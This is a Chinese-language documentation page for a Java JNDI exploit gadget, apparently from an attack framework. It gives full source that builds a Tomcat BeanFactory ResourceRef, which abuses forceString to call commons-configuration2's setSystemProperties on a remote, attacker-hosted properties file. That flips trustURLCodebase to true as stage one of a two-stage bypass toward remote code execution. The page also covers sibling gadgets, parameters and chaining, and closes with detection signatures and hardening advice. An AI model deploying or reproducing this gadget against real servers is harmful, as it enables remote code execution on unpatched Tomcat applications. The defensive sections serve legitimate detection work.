- 类别:
jndi别名:— 优先级:—(默认) - 作者:—
- 依赖:
tomcat(提供org.apache.naming.factory.BeanFactory/ResourceRef,即 tomcat-catalina)、common-configuration2(org.apache.commons.configuration2) - 实现:
Gadget(implements Gadget,无基类)
构造一个以 Tomcat 的 org.apache.naming.factory.BeanFactory 为对象工厂、以 org.apache.commons.configuration2.SystemConfiguration 为目标 Bean 的 org.apache.naming.ResourceRef。当受害端对该 Reference 发起 JNDI 解析时,借助 BeanFactory 的 forceString 机制,把本应是「属性 setter」的调用改写为直接调用单 String 入参方法 SystemConfiguration.setSystemProperties(String),从而让服务器加载攻击者指定的远程 properties 文件并将其内容写入 JVM 系统属性。典型用途是远程置入 com.sun.jndi.ldap.object.trustURLCodebase=true,为后续的 JNDI 远程 codebase 加载「解锁」,属于两阶段 JNDI 绕过中的第一阶段(改环境)。它本身不直接 RCE。
- 入口
tags:ResourceRef、TomcatBeanFactory、ENDResourceRef:本 gadget 产出物是一个org.apache.naming.ResourceRef对象,可被上游「产出/投递 JNDI Reference」的环节(nextTags指向ResourceRef/Reference的入口,如 LDAP/RMI Reference 投递、context.lookup触发点)衔接。TomcatBeanFactory:进一步标明该 Reference 依赖 Tomcat 的BeanFactory作为factoryClassName才能被实例化解析,用于与非 Tomcat 的 JNDI 手法区分。END:链尾终端——自身即最终 payload 对象,其后不再嵌套更内层 gadget。
- 衔接
nextTags:(空)。作为END终端,invoke不调用chain.doCreate,不消费下游。 excludes:(空)。
全部逻辑集中在 getObject(),invoke 直接透传:
@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"})
@GadgetAnnotation(name="configuration2 修改系统属性",
description="factory: org.apache.naming.factory.BeanFactory\n通过BeanFactory调用单String方法:"
+ "org.apache.commons.configuration2.SystemConfiguration#setSystemProperties(),实现修改系统属性\n"
+ "远程加载的文件内容为:com.sun.jndi.ldap.object.trustURLCodebase=true",
dependencies={"tomcat", "common-configuration2"})
public class SystemConfigurationRef2 implements Gadget {
@Param(name="url链接", description="加载远程properties文件的http地址, eg: http://127.0.0.1/exp.properties")
public String url;
public Reference getObject() throws Exception {
ResourceRef ref = new ResourceRef(
"org.apache.commons.configuration2.SystemConfiguration", // ① 目标 Bean 类名
null, "", "", true,
"org.apache.naming.factory.BeanFactory", // ② 对象工厂 = Tomcat BeanFactory
null);
ref.add((RefAddr)new StringRefAddr("forceString", "x=setSystemProperties")); // ③ 强制方法映射
ref.add((RefAddr)new StringRefAddr("x", this.url)); // ④ 方法实参 = 远程 URL
return ref;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}
}逐段解释:
- ① 目标 Bean 类名:
ResourceRef的第 1 个参数是className,此处为org.apache.commons.configuration2.SystemConfiguration。JNDI 解析时BeanFactory会Class.forName(className).newInstance()实例化它——因此目标环境的 classpath 必须存在commons-configuration2,且该类具备公有无参构造。 - ② 对象工厂 = BeanFactory:第 6 个参数
factoryClassName指定为org.apache.naming.factory.BeanFactory。当javax.naming.spi.NamingManager.getObjectInstance处理这个ResourceRef时,会加载并调用该工厂的getObjectInstance(),把「解析引用」变成「实例化并配置一个 Bean」。这是 Tomcat 环境特有的能力(tomcat-catalina提供),也是TomcatBeanFactory标签的由来。 - ③
forceString强制方法映射:BeanFactory默认只会对每个属性p反射调用其 settersetP(String)。而forceString是 BeanFactory 的特殊保留地址:其值形如属性名=方法名(可逗号分隔多组),会被解析为「属性x不再走setX,而是改为反射查找并调用名为setSystemProperties、单String入参的方法」。这一步把「只能调 setter」放宽成「可调任意public void m(String)形态的方法」,是本类的核心技巧。 - ④ 方法实参 = 远程 URL:
StringRefAddr("x", this.url)为属性x提供值。结合 ③,最终等效于对新建的SystemConfiguration实例执行setSystemProperties(this.url)。SystemConfiguration.setSystemProperties(String)会以该路径(支持 http URL)加载一个 properties 文件,并把其中每一条key=value逐条写入System.setProperty(key, value)。因此只要远程文件内容为com.sun.jndi.ldap.object.trustURLCodebase=true,被攻击 JVM 的对应系统属性即被翻转为true。 - 保留地址:
BeanFactory在遍历RefAddr时会跳过factory、scope、auth、singleton、forceString等保留名,故只有属性x被当作 Bean 属性处理,构造精确无副作用。 invoke透传:invoke直接return this.getObject(),不调用chain.doCreate(context),印证其END终端角色——它产出最终对象而非包装内层 gadget。
同目录 overwrite/ 下三兄弟走同一 forceString + ResourceRef 骨架,仅目标类/方法不同:
| 类 | 目标类 | 强制方法 | 依赖 | 传入值 |
|---|---|---|---|---|
| SystemConfigurationRef | org.apache.commons.configuration.SystemConfiguration(v1) |
setSystemProperties |
common-configuration |
远程 properties URL |
| SystemConfigurationRef2(本条) | org.apache.commons.configuration2.SystemConfiguration(v2) |
setSystemProperties |
common-configuration2 |
远程 properties URL |
| SystemConfigurationRef3 | org.apache.groovy.util.SystemUtil |
setSystemPropertyFrom |
org.codehaus.groovy:groovy |
单条 key=value(默认即 com.sun.jndi.ldap.object.trustURLCodebase=true) |
Ref 与 Ref2 的唯一区别是 commons-configuration 的大版本(configuration vs configuration2,包名从 org.apache.commons.configuration 变为 org.apache.commons.configuration2),据目标 classpath 上实际存在的版本二选一。Ref3 则不依赖 commons-configuration,改用 Groovy 的 SystemUtil.setSystemPropertyFrom(String),直接传单条键值对而非远程文件,无需外连 HTTP。
| 字段 | 名称 | 说明 | 类型 | 默认 | 可选值 |
|---|---|---|---|---|---|
url |
url链接 | 加载远程 properties 文件的 http 地址,例如 http://127.0.0.1/exp.properties;文件内容通常为 com.sun.jndi.ldap.object.trustURLCodebase=true |
String |
无(必填) | 自由填写(攻击者可控 HTTP 地址) |
- 依赖条件:目标须同时具备(a)Tomcat 的
org.apache.naming.factory.BeanFactory(tomcat-catalina,Web 应用普遍存在);(b)classpath 上有commons-configuration2,含SystemConfiguration.setSystemProperties(String)。二者缺一则本 gadget 不成立。 - 两阶段绕过定位:自 JDK 6u211/7u201/8u191 起,
com.sun.jndi.ldap.object.trustURLCodebase默认false,LDAP 引用不再自动从远程 codebase 加载工厂类。本 gadget 的价值在于在运行时把该属性改回true——第一阶段用它解锁,第二阶段再投递一个带远程 codebase 的 LDAP Reference 完成任意类加载/RCE。它自身仅「改系统属性」,不产出字节码 sink。 forceString通用性:forceString把 BeanFactory 的「setter-only」限制放宽到任意public m(String)方法,是 Tomcat BeanFactory JNDI 手法的通用底座(同族 H2/Velocity/EL/BeanShell 等 Ref 皆基于此)。- 远程加载:
setSystemProperties(String)经 commons-configuration2 的FileHandler解析路径,支持 http(s) URL,故 payload 需配一台可访问的 HTTP 服务托管exp.properties;这会在受害端留下一次出站 HTTP 请求。 - 无回显:本步骤成功与否无直接回显,实战中通常与第二阶段的 LDAP/RMI 加载连用,通过最终 RCE 效果间接判断。
自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tags(ResourceRef/TomcatBeanFactory)与上游 JNDI 投递/触发环节组合,或与第二阶段的远程 codebase Reference 串联使用。
- 同族(
overwrite/改系统属性):SystemConfigurationRef(configuration v1)、SystemConfigurationRef3(GroovySystemUtil)。 - 同族(Tomcat BeanFactory +
forceString路线):CommonConfiguration、CommonConfiguration2、CommonConfigurationGroovy、BeanshellRef、GroovyShellRef、GroovyClassLoaderRef、H2CreateDirRef、VelocityCreateDirRef、TomcatElRef、SnakeyamlRef、XStreamRef、MvelRef、PropertiesConfigurationRef、PropertiesConfigurationRef2、INIConfigurationReadFileRef、LoadNativeLibRef。 - 第二阶段绕过参考:BypassRef(
LdapCtxFactory重定向)、LdapClassLoader。
检测特征
- JNDI Reference / 序列化流量中出现
factoryClassName == org.apache.naming.factory.BeanFactory,且携带名为forceString的StringRefAddr(值含=set...,本例为x=setSystemProperties)。 - Reference 的
className为org.apache.commons.configuration2.SystemConfiguration(或 v1org.apache.commons.configuration.SystemConfiguration、Groovy 变体org.apache.groovy.util.SystemUtil)。 - 一次 LDAP/RMI lookup 之后,应用服务器向外发起对
*.properties的出站 HTTP 请求。 - 运行期系统属性
com.sun.jndi.ldap.object.trustURLCodebase(或trustURLCodebase/trustSerialData)被由false改写为true——可通过监控System.setProperty或定期校验关键 JNDI 属性发现异常翻转。 - 紧随其后往往出现第二阶段:带远程 codebase 的 LDAP Reference 加载远程工厂类。
加固建议
- 严禁将不可信输入传入
InitialContext.lookup()等 JNDI 解析入口;对 JNDI 名称做严格白名单。 - 不依赖
trustURLCodebase默认false作为唯一防线——本手法正是运行时改写它;应从「禁止不可信 JNDI 解析」根因治理。 - 收敛依赖面:无必要时不在 Web 应用 classpath 上共存
commons-configuration2与 TomcatBeanFactory可被外部引用触发的路径。 - 对关键 JNDI 系统属性加运行时守护/告警(监控
trustURLCodebase、trustSerialData的变更),并锁定敏感系统属性配置。 - 网关/WAF 侧对 JNDI Reference 中的
forceString地址、org.apache.naming.factory.BeanFactory工厂名进行阻断;限制应用服务器的出站网络(尤其对 LDAP/RMI/HTTP 未知目标)。 - 升级 JDK 并保持
com.sun.jndi.ldap.object.trustURLCodebase=false、com.sun.jndi.rmi.object.trustURLCodebase=false的强制约束(通过启动参数固化,减少被运行时篡改的影响面)。